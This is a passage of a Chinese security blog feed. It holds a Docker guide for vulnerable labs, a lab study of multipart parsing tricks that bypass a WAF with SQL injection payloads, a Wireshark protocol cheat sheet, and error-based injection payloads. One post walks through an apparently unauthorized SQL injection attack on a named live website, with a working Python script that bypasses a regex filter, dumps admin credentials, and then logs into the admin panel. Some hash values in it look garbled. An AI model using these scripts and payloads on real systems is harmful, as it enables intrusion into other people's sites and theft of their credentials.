    # 查看端口映射(对应 docker-compose.yml 里的 ports 配置)
    docker-compose ps

    # 通常通过浏览器或工具访问
    # http://你的IP:映射端口

    # 查看容器IP(若需要)
    docker inspect <容器名> | grep IPAddress

    第六步:测试完成,销毁环境

    # 停止并删除容器和网络(保留镜像)
    docker-compose down

    # 同时删除数据卷(彻底清理)
    docker-compose down -v

    # 同时删除镜像(节省磁盘)
    docker-compose down --rmi all

    3.3 单容器靶场示例 — DVWA

    # 拉取镜像
    docker pull vulnerables/web-dvwa

    # 启动容器(映射到本机 8888 端口)
    docker run -d -p 8888:80 --name dvwa vulnerables/web-dvwa

    # 访问
    # http://127.0.0.1:8888
    # 默认账号:admin / password

    # 停止与删除
    docker stop dvwa
    docker rm dvwa

    3.4 端口映射说明

    docker run -p 宿主机端口:容器内端口

    # 示例
    -p 8080:80        # 访问本机 8080 → 容器内 80
    -p 127.0.0.1:8080:80   # 只允许本机访问(安全,防止外部扫描)
    -p 0.0.0.0:8080:80     # 允许所有 IP 访问

    # 查看端口占用(启动失败时检查)
    ss -tlnp | grep 8080

    3.5 查看日志排查问题

    # 查看容器实时日志
    docker logs -f <容器名>

    # 只看最后 50 行
    docker logs --tail 50 <容器名>

    # 查看 compose 编排中指定服务的日志
    docker-compose logs -f web

    3.6 完整清理流程

    # 方式一:清理单个容器环境
    docker stop <容器名>
    docker rm <容器名>
    docker rmi <镜像名>

    # 方式二:清理 compose 环境(在 compose 文件目录下执行)
    docker-compose down --rmi all -v

    # 方式三:清理所有停止容器 + 无用镜像(节省空间)
    docker system prune -a

    四、docker-compose 完整教程

    docker-compose 用于定义和运行多容器应用,一个 YAML 文件管理所有服务。

    4.1 安装 docker-compose

    方式一:二进制安装(推荐,最新版)

    # 查看最新版本号:https://github.com/docker/compose/releases
    VERSION="v2.27.0"

    # 下载(国内用 ghproxy 加速)
    sudo curl -L "https://github.com/docker/compose/releases/download/${VERSION}/docker-compose-$(uname -s)-$(uname -m)" \
     -o /usr/local/bin/docker-compose

    # 加速下载(国内推荐)
    sudo curl -L "https://ghproxy.com/https://github.com/docker/compose/releases/download/${VERSION}/docker-compose-$(uname -s)-$(uname -m)" \
     -o /usr/local/bin/docker-compose

    # 添加执行权限
    sudo chmod +x /usr/local/bin/docker-compose

    # 验证
    docker-compose --version

    方式二:pip 安装

    pip3 install docker-compose
    docker-compose --version

    注意:新版 Docker 已内置 docker compose(无连字符),功能相同,两种写法均可使用。


    4.2 docker-compose.yml 文件结构详解

    version: "3.8"          # compose 文件格式版本

    services:               # 定义各个服务(容器)

    web:                  # 服务名称(自定义)
      image: nginx:latest # 使用的镜像
       # 或者用 build 构建自定义镜像:
       # build: .         # 从当前目录 Dockerfile 构建
       # build:
       #   context: ./app
       #   dockerfile: Dockerfile.prod

      ports:
        - "8080:80"       # 宿主机端口:容器端口

      volumes:
        - ./html:/usr/share/nginx/html    # 挂载目录
        - mydata:/var/lib/data            # 使用命名数据卷

      environment:
        - NGINX_ENV=production            # 设置环境变量
        - DB_HOST=db                      # 可以用服务名互相访问

      networks:
        - mynet                           # 加入自定义网络

      depends_on:
        - db                              # 等待 db 服务先启动

      restart: always                     # 自动重启策略

    db:
      image: mysql:8.0
      environment:
        MYSQL_ROOT_PASSWORD: "root123"
        MYSQL_DATABASE: "mydb"
      volumes:
        - dbdata:/var/lib/mysql

    volumes:                # 声明命名数据卷
    mydata:
    dbdata:

    networks:               # 声明自定义网络
    mynet:
      driver: bridge

    4.3 docker-compose 常用命令

    # 在 docker-compose.yml 所在目录执行以下命令

    # 启动所有服务(后台运行)
    docker-compose up -d

    # 启动并重新构建镜像
    docker-compose up -d --build

    # 停止并删除容器、网络(保留数据卷和镜像)
    docker-compose down

    # 停止并删除容器、网络、数据卷
    docker-compose down -v

    # 停止并删除容器、网络、镜像
    docker-compose down --rmi all

    # 查看服务状态
    docker-compose ps

    # 查看所有服务日志(实时)
    docker-compose logs -f

    # 查看指定服务日志
    docker-compose logs -f web

    # 进入指定服务的容器
    docker-compose exec web /bin/bash
    docker-compose exec db mysql -uroot -p

    # 重启指定服务
    docker-compose restart web

    # 停止所有服务(不删除容器)
    docker-compose stop

    # 拉取最新镜像
    docker-compose pull

    # 查看服务配置
    docker-compose config

    4.4 Vulhub 的 docker-compose.yml 示例解读

    以 Struts2 S2-045 为例(vulhub/struts2/s2-045/docker-compose.yml):

    version: '2'
    services:
    struts2:
      image: vulhub/struts2:2.3.30     # 使用官方漏洞镜像
      ports:
        - "8080:8080"                   # 映射 8080 端口供访问

    使用步骤:

    cd vulhub/struts2/s2-045
    docker-compose up -d          # 启动
    # 访问 http://你的IP:8080
    docker-compose down           # 销毁

    4.5 服务依赖启动说明

    depends_on:
    - db
    - redis

    注意:depends_on 只保证 db 容器启动后才启动 web,但不保证 db 服务完全就绪(如 MySQL 初始化需要时间)。 如果遇到连接失败,可在应用代码中加重试逻辑,或配合 healthcheck 使用。


    五、Dockerfile 编写入门

    Dockerfile 是构建自定义镜像的脚本文件,描述”如何一步步搭建环境”。

    5.1 常用指令说明

    指令说明示例
    FROM指定基础镜像(第一条必须是它)FROM ubuntu:20.04
    RUN构建时执行命令RUN apt install -y curl
    COPY复制本地文件到镜像COPY ./app /app
    ADD类似 COPY,但支持解压 tarADD app.tar.gz /app
    WORKDIR设置工作目录(相当于 cd)WORKDIR /app
    EXPOSE声明容器监听的端口(仅文档用途)EXPOSE 8080
    ENV设置环境变量ENV PATH="/app:$PATH"
    CMD容器启动时执行的默认命令CMD ["python", "app.py"]
    ENTRYPOINT容器入口命令(不可被覆盖)ENTRYPOINT ["nginx"]
    ARG构建时传入的变量ARG VERSION=1.0
    VOLUME声明挂载点VOLUME ["/data"]

    5.2 构建命令

    # 基本构建(. 表示 Dockerfile 在当前目录)
    docker build -t 镜像名:标签 .

    # 示例
    docker build -t mytool:v1.0 .

    # 指定 Dockerfile 文件路径
    docker build -f ./Dockerfile.prod -t myapp:prod .

    # 构建时传入参数
    docker build --build-arg VERSION=2.0 -t myapp:v2 .

    # 查看构建结果
    docker images | grep mytool

    5.3 示例:构建自定义 Python 渗透工具镜像

    目录结构:

    mypentest/
    ├── Dockerfile
    ├── requirements.txt
    └── scan.py

    requirements.txt:

    requests
    beautifulsoup4
    python-nmap

    Dockerfile:

    FROM python:3.11-slim

    # 设置工作目录
    WORKDIR /app

    # 先复制依赖文件(利用层缓存:依赖不变时跳过安装步骤)
    COPY requirements.txt .

    # 安装依赖(合并 RUN 减少层数;清理缓存减小镜像体积)
    RUN pip install --no-cache-dir -r requirements.txt \
      && apt-get update \
      && apt-get install -y --no-install-recommends nmap \
      && rm -rf /var/lib/apt/lists/*

    # 复制程序文件
    COPY scan.py .

    # 声明端口(文档用途)
    EXPOSE 8080

    # 启动命令
    CMD ["python", "scan.py"]

    构建与运行:

    cd mypentest

    # 构建镜像
    docker build -t mypentest:v1 .

    # 运行容器
    docker run -it --rm mypentest:v1

    # 挂载当前目录(方便修改代码后直接测试)
    docker run -it --rm -v $(pwd):/app mypentest:v1 python scan.py

    5.4 层缓存优化技巧

    # 好的写法:依赖文件先 COPY,代码文件后 COPY
    # 依赖不变时,pip install 这层会直接使用缓存
    COPY requirements.txt .
    RUN pip install -r requirements.txt
    COPY . .          # 代码改了只重建这层之后的步骤

    # 差的写法:全部 COPY 后再安装,每次代码修改都要重新 pip install
    COPY . .
    RUN pip install -r requirements.txt
    # 多条 RUN 合并成一条,减少镜像层数
    RUN apt update && \
      apt install -y curl wget git && \
      rm -rf /var/lib/apt/lists/*

    六、常见问题与排错

    6.1 容器启动失败

    # 查看退出原因
    docker logs <容器名>
    docker-compose logs <服务名>

    # 查看容器退出码
    docker inspect <容器名> | grep "ExitCode"
    # ExitCode: 0 = 正常退出
    # ExitCode: 1 = 程序错误
    # ExitCode: 137 = 被 kill -9 杀死(OOM 内存不足)

    6.2 端口冲突(端口已被占用)

    报错: Bind for 0.0.0.0:8080 failed: port is already allocated

    # 查看端口占用情况
    ss -tlnp | grep 8080
    lsof -i :8080

    # 方法一:换一个宿主机端口
    docker run -p 9090:80 nginx   # 改用 9090

    # 方法二:停止占用端口的服务
    sudo systemctl stop apache2   # 示例:停止 Apache

    6.3 镜像拉取超时 / 失败

    # 报错:timeout / connection refused / TLS handshake timeout

    # 方法一:检查加速源是否配置(见 1.4 节)
    cat /etc/docker/daemon.json

    # 方法二:重启 Docker
    sudo systemctl restart docker

    # 方法三:手动指定加速源拉取
    docker pull docker.mirrors.ustc.edu.cn/library/ubuntu:20.04

    # 方法四:使用代理(如有)
    sudo mkdir -p /etc/systemd/system/docker.service.d
    sudo tee /etc/systemd/system/docker.service.d/http-proxy.conf <<EOF
    [Service]
    Environment="HTTP_PROXY=http://127.0.0.1:7890"
    Environment="HTTPS_PROXY=http://127.0.0.1:7890"
    EOF
    sudo systemctl daemon-reload && sudo systemctl restart docker

    6.4 权限问题

    报错: permission denied while trying to connect to the Docker daemon socket

    # 将用户加入 docker 组
    sudo usermod -aG docker $USER

    # 重新激活组权限(无需重启)
    newgrp docker

    # 验证
    docker ps

    6.5 磁盘空间不足

    # 查看 Docker 占用磁盘情况
    docker system df

    # 清理无用资源(停止的容器、无标签镜像、未使用网络)
    docker system prune

    # 彻底清理(含未被使用的镜像和数据卷)
    docker system prune -a --volumes

    6.6 常用快捷操作

    # 删除所有停止的容器
    docker rm $(docker ps -aq -f status=exited)

    # 删除所有无标签(<none>)的镜像
    docker rmi $(docker images -q -f dangling=true)

    # 进入最近一个运行中的容器
    docker exec -it $(docker ps -q | head -1) /bin/bash

    # 查看容器 IP 地址
    docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' <容器名>

    附录:命令速记卡

    docker pull     镜像名        # 拉取镜像
    docker images                 # 查看镜像列表
    docker run -d -p 本地:容器 --name 名字 镜像 # 启动容器
    docker ps / ps -a             # 查看容器(运行中/全部)
    docker exec -it 容器 /bin/bash # 进入容器
    docker logs -f 容器           # 实时查看日志
    docker stop 容器               # 停止容器
    docker rm 容器                 # 删除容器
    docker rmi 镜像               # 删除镜像
    docker-compose up -d           # 启动编排服务
    docker-compose down           # 停止并删除编排服务
    docker-compose logs -f 服务名 # 查看编排服务日志
    docker system prune           # 清理无用资源

  • 雷池 WAF POST 型 SQL 注入绕过研究:multipart 差异化解析实战

    作者:xiaodan
    环境:本地虚拟机靶场(sqli-labs Less-11)+ 雷池 WAF 个人版
    声明:本文所有测试均在自建靶场环境中完成,严禁用于未授权目标。


    一、环境搭建

    1.1 整体拓扑

    物理机(Burp Suite)
        │
        ▼
    虚拟机A:雷池 WAF(反向代理模式)
        │
        ▼
    虚拟机B:宝塔面板 + sqli-labs 靶场

    1.2 组件版本

    组件版本/说明
    靶场sqli-labs Less-11(POST 登录表单)
    WAF长亭雷池 WAF 个人版
    Web服务宝塔面板 + PHP + MySQL
    测试工具Burp Suite
    域名本地解析,绑定 hosts

    1.3 雷池配置要点

    • 雷池以反向代理模式部署在靶场前
    • 防护规则开启 SQL 注入检测
    • 物理机访问域名流量经过雷池转发至后端靶场

    二、基准测试:裸 Payload 被拦截

    未做任何绕过,直接发送标准 POST SQL 注入 Payload:

    POST /Less-11/ HTTP/1.1
    Host: www.danchengjie.com
    Content-Type: application/x-www-form-urlencoded
    
    uname=1' union select 1,2#&passwd=a&submit=Submit

    结果: 雷池直接返回拦截页面,HTTP 状态码非 200,页面显示「访问已被拦截」。

    这说明雷池对标准 application/x-www-form-urlencoded 下的 SQL 注入特征检测有效。


    三、核心思路:multipart 差异化解析

    3.1 原理说明

    HTTP multipart/form-data 协议(RFC 2046)允许在一个请求体中传输多个字段,
    每个字段由 boundary 分隔,并通过 Content-Disposition 头声明字段名。

    WAF 与后端(PHP)对 multipart 的解析实现存在差异:

    • WAF 需要高速处理海量请求,解析逻辑倾向于快速、宽松
    • PHP 的 multipart 解析遵循自身实现规则,对某些异常结构有特定的容错行为

    利用这种 解析差异(Parser Differential),可以构造 WAF 无法正确识别
    但后端能正常解析的请求,从而让恶意 Payload 绕过检测。

    3.2 基础结构对比

    正常 multipart 请求结构:

    Content-Type: multipart/form-data;boundary=a
    
    --a
    Content-Disposition: form-data; name="uname"
    
    admin
    --a--

    后续所有绕过方案均基于对这个结构的”畸形化”改造。


    四、绕过方案实战

    方案一:双 Content-Disposition + filename 欺骗(基础版)

    构造方式:

    Content-Type: multipart/form-data;boundary=a
    
    --a
    Content-Disposition: form-data; name="uname";
    Content-Disposition: form-data; name="uname";filename="1.txt"
    Context-Type: image/png
    
    uname=a' union select 1,(select schema_name from information_schema.schemata limit 1,1)#&passwd=a&submit=Submit
    --a
    Content-Disposition: form-data; name="passwd";
    
    Dumb
    --a
    Content-Disposition: form-data; name="submit";
    
    Submit
    --a--

    绕过逻辑:

    同一 part 内出现两行 Content-Disposition

    • 第一行带 filename="1.png" → WAF 误判为文件上传字段,跳过 SQL 注入检测
    • 第二行是标准字段声明 → PHP 按后者解析,正常取值

    结果: ✅ 成功绕过,页面返回数据库名。


    方案二:filename 参数 Tab 字符插入

    构造方式(关键行):

    Content-Disposition: form-data; name="uname";filename    ="1.txt"
    Content-Disposition: form-data; name="uname"

    filename= 之间插入 \t(Tab,0x09)。

    绕过逻辑:

    WAF 在解析参数名时,遇到 filename\t= 可能无法识别为合法的
    filename 属性,导致整个 part 的语义解析出错,进而跳过检测。
    PHP 对 Tab 字符更宽容,能正确提取 filename 并按文件字段处理第一行,
    以第二行 name="uname" 作为字段名正常赋值。

    结果: ✅ 成功绕过。


    方案三:filename 参数空格插入

    构造方式(关键行):

    Content-Disposition: form-data; name="uname";filename ="1.txt"
    Content-Disposition: form-data; name="uname"

    与方案二类似,在 filename= 之间插入普通空格(0x20)。

    绕过逻辑:

    部分 WAF 的参数解析器使用严格匹配,filename =(带空格)不匹配
    预期的 filename=,导致整个 filename 属性被忽略,field 被误判为
    普通文本字段而非文件上传字段,进而放行了包含 Payload 的内容。
    PHP 的解析器对此空格具有容错性,仍能识别为文件字段。

    结果: ✅ 成功绕过。


    方案四:name 值内嵌 \0 空字节截断

    构造方式(关键行):

    Content-Disposition: form-data; name="uname\0";filename="1.txt"
    Content-Disposition: form-data; name="uname"

    在第一行 name 的值中,uname 后插入空字节(\0,0x00)。

    绕过逻辑:

    WAF 在提取字段名时,遇到 \0 可能发生截断或解析错误,
    导致无法正确关联字段名与 Payload,检测逻辑失效。
    PHP 底层 C 实现中字符串以 \0 结尾,提取 name 时截断为 uname
    第二行正常赋值,后端逻辑完全正常执行。

    结果: ✅ 成功绕过。


    方案五:Content-Disposition 头名称后插入 \0

    构造方式(关键行):

    Content-Disposition\0:form-data; name="uname";filename="1.txt"
    Content-Disposition: form-data; name="uname"

    不是在值里加 \0,而是在头部名称的末尾、冒号之前插入 \0

    绕过逻辑:

    WAF 解析 HTTP 头时,Content-Disposition\0 不匹配标准头名称,
    可能将整行视为非法头而忽略,导致 WAF 看不到这一行的 filename 声明,
    无法识别文件上传语义,检测逻辑完全跳过这个 part。
    PHP 的 multipart 解析器在处理 body 时有独立逻辑,对这个 \0
    的处理方式与 WAF 不同,仍能提取到 filename 并按预期解析。

    结果: ✅ 成功绕过。


    方案六:混合 Content-Type(双类型声明)

    构造方式(关键头):

    Content-Type: application/x-www-form-urlencoded;multipart/form-data;boundary=a;

    将两种 Content-Type 写在同一行,同时在 body 中使用 multipart 结构,
    Payload 以 &uname= 前缀写在 part 的 body 区域内。

    绕过逻辑:

    WAF 遇到非标准的混合 Content-Type 时,可能优先按
    application/x-www-form-urlencoded 解析 body,
    在 URL 编码格式中找不到完整的 SQL 注入特征(因为内容是 multipart 格式),
    检测失效。PHP 实际优先识别 multipart/form-data 并找到 boundary,
    按 multipart 规则正常解析出字段和值。

    结果: ✅ 成功绕过。


    五、绕过手法汇总

    编号方案核心变异点绕过原理
    1双 Content-Disposition + filenamefilename=”1.png” 欺骗WAF 误判文件上传字段
    2filename 参数 Tab 截断filename\t=WAF 参数名解析失败
    3filename 参数空格插入filename =WAF 严格匹配失效
    4name 值 \0 截断name="uname\0"WAF 字段名提取异常
    5头名称后插 \0Content-Disposition\0:WAF 忽略非法头名
    6混合 Content-Type双类型声明WAF 解析类型判断错误

    六、总结与思考

    6.1 核心结论

    本次研究验证了一个核心命题:WAF 的安全性建立在其与后端解析行为一致的假设上, 一旦二者出现 Parser Differential,WAF 的检测就会失效。

    multipart/form-data 协议本身定义较为宽松,RFC 2046 对很多边界情况
    没有明确规定,给了不同实现各自发挥的空间,这正是此类绕过长期存在的根本原因。

    6.2 防御建议

    对于 WAF 厂商:

    • 对 multipart 解析应与主流后端(PHP/Java/Python)的实际行为严格对齐
    • 对畸形的 Content-Disposition(重复、含特殊字符)应直接拒绝而非忽略
    • 对混合 Content-Type 应采取保守策略,疑似异常请求一律拦截

    对于开发者:

    • 后端应对上传字段做严格的类型和内容校验,不依赖 WAF 作为唯一防线
    • 敏感接口建议在应用层做二次输入过滤

    6.3 延伸方向

    • HTTP/2 的 multipart 解析差异
    • JSON 嵌套结构的解析差异绕过
    • Chunked Transfer Encoding 分块传输绕过
    • 参考:RFC 2046、OWASP WAF Bypass、先知社区相关议题

    本文所有实验均在自建本地靶场完成,域名已做本地 hosts 解析,
    不涉及任何真实线上系统。如需复现,请自行搭建合法测试环境。
    “`


  • 1000000正则回溯绕过正则实现SQL注入

    信息收集

    发现GET注入点

    首先在 news_list.php 发现 GET 参数 cid 存在 SQL 注入:

    http://www.cqzszy.com.cn/news_list.php?cid=11 and updatexml(1,concat(0x7e,user(),0x7e),1)

    响应返回:

    XPATH syntax error: '~qzy_cqzszy@localhost~'

    成功获取数据库用户信息。

    image-20260302151226510

    分析

    通过测试推测 正则 过滤规则:

    Payload结果分析
    select 1成功回显select 单独不被过滤
    from 1报错回显from 单独不被过滤
    select 1 from dual空白回显select...from 组合被过滤

    结论:WAF 使用正则 select(.*)from 过滤,单独的 select 或 from 不被拦截,只有组合时才触发过滤。

    GET注入的问题

    尝试正则回溯绕过,构造超长 Payload:

    URL length: 100224
    Response: 414 Request-URI Too Large

    问题:URL 长度超过服务器限制,无法使用 GET 请求。

    寻找POST注入点

    由于 GET 请求长度限制,需要寻找 POST 注入点。在网站功能页面发现:

    POST /order_sell.php HTTP/1.1
    Host: www.cqzszy.com.cn
    Content-Type: application/x-www-form-urlencoded
    
    p1=1&m1=0&t1=0&...&bs=1'&ac=sell

    测试参数 bs 存在注入:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1772425757')' at line 1
    image-20260302151304796

    绕过思路探索

    尝试的绕过方法

    在发现正则回溯之前,尝试了多种绕过方式:

    换行符打断正则

    select%0a1%0afrom dual
    select%0b1%0bfrom dual

    注释打断正则

    select/**/1/**/from/**/dual

    内联注释

    select/*!*/1/*!*/from/*!*/dual
    select/*!50000*/1/*!50000*/from/*!50000*/dual

    大小写混合

    SeLeCt 1 FrOm dual

    双写绕过

    selselectect 1 frfromom dual

    空字节截断

    sel%00ect 1 fr%00om dual

    预处理语句

    set @a=concat('sel','ect 1 fr','om dual');prepare stmt from @a;execute stmt;

    替代语句

    show tables
    handler table_name open

    结果:以上方法全部失败,返回空白回显。

    正则回溯原理

    PHP PCRE 默认回溯限制为 100 万次。当正则 select(.*)from 匹配超长字符串时:

    1. .* 贪婪匹配到字符串末尾
    2. 回溯查找 from
    3. 回溯次数超过限制,preg_match 返回 false
    4. WAF 判断失效,放行请求

    构造Payload

    关键:用注释 /**/ 包裹垃圾字符

    select/*{100万字符}*/column from/*{100万字符}*/table
    • MySQL 忽略注释,正常执行 SQL
    • WAF 正则匹配超时,绕过成功

    注入过程

    Python脚本

    import requests
    import re
    
    url = "http://www.cqzszy.com.cn/order_sell.php"
    junk = "a" * 1000000
    
    
    def inject(payload_str):
    payload = {
    "Submit": "提交交易信息", "ac": "sell",
    "bs": payload_str,
    "c1": "1", "c2": "1", "c3": "1", "c4": "1", "c5": "1", "c6": "1", "c7": "1",
    "lang": "cn", "m1": "0", "m2": "0", "m3": "0", "m4": "0", "m5": "0",
    "p1": "test", "p2": "1", "p3": "1", "p4": "1", "p5": "1",
    "t1": "0", "t2": "0", "t3": "0", "t4": "0", "t5": "0"
    }
    r = requests.post(url, data=payload, timeout=60)
    m = re.search(r"'~(.*?)~'", r.text)
    return m.group(1) if m else None
    
    
    # 获取表名
    print("=== 表名 ===")
    for i in range(20):
    sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/table_name from/*{junk}*/information_schema.tables where table_schema=database() limit {i},1),0x7e),1) and '1'='1"
    result = inject(sql)
    if result:
    print(f"[{i}] {result}")
    else:
    break
    
    # 获取 zszy_admin 列名
    print("\n=== zszy_admin 列名 ===")
    for i in range(10):
    sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/column_name from/*{junk}*/information_schema.columns where table_schema=database() and table_name='zszy_admin' limit {i},1),0x7e),1) and '1'='1"
    result = inject(sql)
    if result:
    print(f"[{i}] {result}")
    else:
    break
    
    # 获取 zszy_admin 数据 - 分开获取
    print("\n=== zszy_admin 数据 ===")
    for i in range(3):
    print(f"\n--- 第 {i + 1} 条记录 ---")
    
    sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/aid from/*{junk}*/zszy_admin limit {i},1),0x7e),1) and '1'='1"
    print(f"aid: {inject(sql)}")
    
    sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/aname from/*{junk}*/zszy_admin limit {i},1),0x7e),1) and '1'='1"
    print(f"aname: {inject(sql)}")
    
    sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/apassword from/*{junk}*/zszy_admin limit {i},1),0x7e),1) and '1'='1"
    print(f"apassword: {inject(sql)}")

    数据注入失败

    分段注入数据

    获取的数据

    数据库表名:

    序号表名
    0zszy_admin
    1zszy_ec_class
    2zszy_ec_goods
    3zszy_human
    4zszy_info
    5zszy_member
    6zszy_order

    管理员表列名:

    序号列名
    0aid
    1aname
    2apassword

    管理员账号密码:

    anameapassword (MD5)

    admin

    3b1c29af405bac431b8f5ae71345fdcasdav

    密码解密与后台发现

    MD5解密

    使用在线工具解密:

    • admin: 3b1c29af405bac431b8f5ae71345fvdadca → 未解出
    • leo: bf7c2c3a34f5da034b14e89486f97fda1v6 → c****e

    目录扫描

    使用 dirsearch 扫描后台:

    dirsearch -u http://www.cqzszy.com.cn -e php

    发现后台登录页面:

    [200] http://www.cqzszy.com.cn/admini/login.php

    成功登录

    访问 /admini/login.php,使用获取的凭证登录:

    • 用户名:leo
    • 密码:———

    登录成功,进入后台管理系统。

    image-20260302151432891

    总结

    攻击链

    GET注入发现 → URL长度限制 → 寻找POST注入点 → 多种绕过尝试失败 → 正则回溯绕过 → 分段获取密码 → 密码解密 → 后台扫描 → 成功登录

    关键技术点

    • GET转POST:GET请求URL长度限制,改用POST注入
    • 多种绕过尝试:换行符、注释、大小写、双写、预处理等均失败
    • 正则回溯绕过:利用 PHP PCRE 回溯限制(100万次),构造超长注释绕过 select(.*)from 正则
    • 注释包裹:垃圾字符必须用 /**/ 包裹,MySQL才能正常执行
    • 分段获取:使用 substr() 分段获取长字段,避免截断

  • Wireshark 协议全景速查手册

    适用场景:日常网络排障 / 护网行动流量分析 / 渗透测试辅助 / 安全审计
    工具版本:Wireshark 4.x(所有下列协议均原生支持解析)


    一、数据链路层(二层)

    局域网内设备间的帧传输与物理寻址,是所有上层协议的底层载体。

    协议核心特点典型用途
    Ethernet最主流有线局域网协议,基于 MAC 地址寻址,支持单播 / 组播 / 广播,兼容性极强家庭 / 企业有线网络底层传输
    ARP / RARP实现 IP 与 MAC 地址的互相映射,明文广播传输,无认证机制局域网设备通信、排查 IP 冲突、检测 ARP 欺骗攻击
    802.11 (WiFi)无线局域网标准,包含管理 / 控制 / 数据三类帧,支持 WPA2 / WPA3 加密WiFi 网络抓包、排查无线掉线 / 信号干扰
    PPPoE以太网上的点对点协议,支持身份认证与加密家庭宽带拨号上网、运营商专线接入

    ⚠️ 护网关注点: ARP 无认证的特性使其成为局域网内中间人攻击(ARP 欺骗)的常见入口,护网期间应重点监控异常 ARP 广播风暴。


    二、网络层(三层)

    负责跨网段的全局寻址与路由转发,实现端到端的跨网络通信。

    协议核心特点典型用途
    IPv4 / IPv6互联网核心协议,基于 IP 地址全局寻址;IPv4 为 32 位(当前主流),IPv6 为 128 位(解决地址枯竭问题)所有互联网通信的基础
    ICMP / ICMPv6无连接控制消息协议,封装于 IP 包内,用于差错报告与网络探测ping 连通性测试、traceroute 路由追踪、排查丢包 / 延迟
    OSPF / BGP动态路由协议:OSPF 用于内网自治系统,BGP 用于全球互联网骨干网企业 / 运营商路由配置,排查路由环路 / 不可达

    ⚠️ 护网关注点: ICMP 常被用于隐蔽信道(ICMP Tunnel),护网期间需关注异常大包或高频 ICMP 流量;BGP 劫持可导致流量被重定向。


    三、传输层(四层)

    负责端到端的通信控制与端口寻址,区分同一设备上的不同应用进程。

    协议核心特点典型用途
    TCP面向连接、可靠传输,三次握手建立连接,支持确认重传 / 拥塞控制 / 流量控制HTTP/HTTPS、SSH、数据库通信等需要可靠性的场景
    UDP无连接、不可靠传输,无握手 / 重传机制,延迟极低、开销极小DNS、视频直播、游戏、语音通话、QUIC 底层传输
    SCTP面向消息、多流并行、多宿主支持,兼顾 TCP 可靠性与 UDP 低延迟5G 信令、金融交易、工控系统等高可用场景

    ⚠️ 护网关注点: TCP SYN Flood 是最常见的 DDoS 手段;UDP 常被用于流量放大攻击(DNS / NTP 放大);大量 SYN_SENT 半连接状态需重点排查。


    四、应用层(七层)

    直接承载用户业务数据,是抓包分析业务问题与安全事件的核心层。

    4.1 核心 Web 与加密协议(抓包高频)

    协议核心特点典型用途
    HTTP/1.1 / 2 / 3超文本传输协议:1.1 为文本格式串行传输;2 为二进制多路复用;3 基于 QUIC 无队头阻塞网页浏览、APP / 小程序接口调用
    TLS 1.2 / 1.3传输层安全协议,实现数据加密、身份认证、完整性校验;TLS 1.3 握手更快、安全性更强HTTPS 加密、邮件、VPN、金融接口等一切安全通信
    QUIC基于 UDP + TLS 1.3,内置 0-RTT / 1-RTT 快速握手,支持连接迁移、抗丢包HTTP/3、短视频 / 直播、移动端 APP
    SOCKS5 / SOCKS4传输层代理协议:SOCKS5 支持 TCP/UDP、认证、IPv6;SOCKS4 仅支持 TCP代理穿透、内网横移、游戏加速
    HTTPS 代理基于 HTTP CONNECT 方法建立隧道,兼容性好,主要代理 HTTPS / TCP 流量企业内网代理、Burp / Charles / Fiddler 抓包

    4.2 通用基础协议

    协议核心特点典型用途
    DNS域名解析协议,默认 UDP 53 端口,大报文走 TCP域名与 IP 互转,排查解析失败 / DNS 劫持
    DHCP动态主机配置协议,基于 UDP,自动分配 IP / 网关 / DNS局域网设备自动获取网络配置
    SSH加密远程管理协议,基于 TCP 22 端口,替代明文 Telnet服务器安全登录、SFTP 加密文件传输
    FTP / SFTP文件传输协议:FTP 明文传输,SFTP 基于 SSH 加密服务器文件上传下载、数据备份
    NTP网络时间协议,基于 UDP 123 端口,实现高精度时间同步服务器 / 设备时间校准
    SMTP / POP3 / IMAP邮件协议三件套:SMTP 发信,POP3 / IMAP 收信企业 / 个人电子邮件收发

    4.3 内网与远程办公协议

    协议核心特点典型用途
    RDPWindows 远程桌面协议,默认 TCP 3389 端口,支持加密与外设重定向Windows 设备图形化远程管理
    SMB / CIFSWindows 文件共享协议,默认 TCP 445 端口局域网文件 / 打印机共享

    ⚠️ 护网关注点: RDP 3389 和 SMB 445 是护网期间最高频的攻击入口,永恒之蓝(EternalBlue)即利用 SMB 漏洞传播,应重点监控这两个端口的异常连接。


    五、专用扩展协议

    类别代表协议核心用途
    VPN 隧道IPSec、OpenVPN、WireGuard加密跨网隧道通信,排查 VPN 连接故障
    数据库MySQL、PostgreSQL、Redis数据库通信抓包,排查慢查询 / 连接超时
    物联网MQTT、CoAP智能家居 / 传感器设备通信,低功耗适配
    流媒体RTP / RTMP / SIP视频会议、直播、监控,排查卡顿 / 花屏
    工控Modbus、S7、Profinet工业设备通信,工控安全审计与故障排查

    六、关键注意事项

    6.1 加密协议解析限制

    TLS / QUIC / SSH 等加密协议默认仅能解析握手阶段,无法查看加密后的业务数据。

    解密方式:

    • 浏览器流量:配置 SSLKEYLOGFILE 环境变量,将会话密钥导出后在 Wireshark 中加载
    • 自签证书应用:导入私钥至 Wireshark(编辑 → 首选项 → Protocols → TLS
    • QUIC:同样依赖 SSLKEYLOG,需 Wireshark 4.0+ 版本支持

    6.2 三种代理协议对比

    维度SOCKS5SOCKS4HTTPS 代理
    传输层支持TCP + UDP仅 TCP仅 TCP
    认证支持✅(Basic Auth)
    IPv6 支持
    适用场景游戏 / 穿透 / 通用逐步淘汰网页 / 抓包工具

    6.3 护网抓包优先级建议

    高优先级监控端口:
      445  (SMB)      → 勒索软件 / 横向移动
      3389 (RDP)      → 暴力破解 / 远程入侵
      53   (DNS)      → DNS 隧道 / 劫持
      80/443 (HTTP/S) → Web 攻击 / C2 通信
      22   (SSH)      → 暴力破解 / 后门连接
    
    异常流量特征:
      · 单 IP 高频 SYN(端口扫描)
      · 大量 ICMP 大包(隐蔽信道)
      · 非常规端口的加密流量(C2 隐匿)
      · 内网设备主动外联陌生 IP

  • 报错注入7大常用函数

    1.ST_LatFromGeoHash()(mysql>=5.7.x)

    payload

    and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+

    2.ST_LongFromGeoHash(mysql>=5.7.x)

    payload

    #同 8 ,都使用了嵌套查询

    and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

    3.GTID (MySQL >= 5.6.X – 显错<=200)

    0x01 GTID

